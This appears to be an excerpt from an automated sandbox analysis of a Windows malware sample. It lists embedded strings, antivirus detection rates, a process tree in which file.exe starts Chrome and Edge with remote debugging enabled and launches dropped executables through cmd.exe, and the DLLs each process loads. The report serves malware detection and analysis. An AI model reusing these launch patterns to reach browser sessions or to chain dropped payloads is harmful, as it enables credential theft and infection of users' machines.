Source: file.exe, 00000000.00000002.2791219477.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762452350.000000001D377000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2800096274.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2791219477.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762452350.000000001D377000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2800096274.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2791219477.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762452350.000000001D377000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2800096274.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2791219477.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762452350.000000001D377000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2791219477.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762452350.000000001D377000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2800096274.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2516886960.000000001D290000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2422724983.000000001D275000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2791219477.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762452350.000000001D377000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2791219477.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762452350.000000001D377000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 47%
Source: file.exe	Virustotal: Detection: 51%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsAEBGHDBKEB.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2244,i,756847330830855966,7502689708335668289,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2248,i,10603555654738097725,8008663870441056165,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6456 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6656 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7284 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7284 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsAEBGHDBKEB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsAEBGHDBKEB.exe "C:\Users\user\DocumentsAEBGHDBKEB.exe"
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6644 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe "C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsAEBGHDBKEB.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2244,i,756847330830855966,7502689708335668289,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6656 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2248,i,10603555654738097725,8008663870441056165,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6456 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6656 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7284 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7284 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6644 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsAEBGHDBKEB.exe "C:\Users\user\DocumentsAEBGHDBKEB.exe"
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe "C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
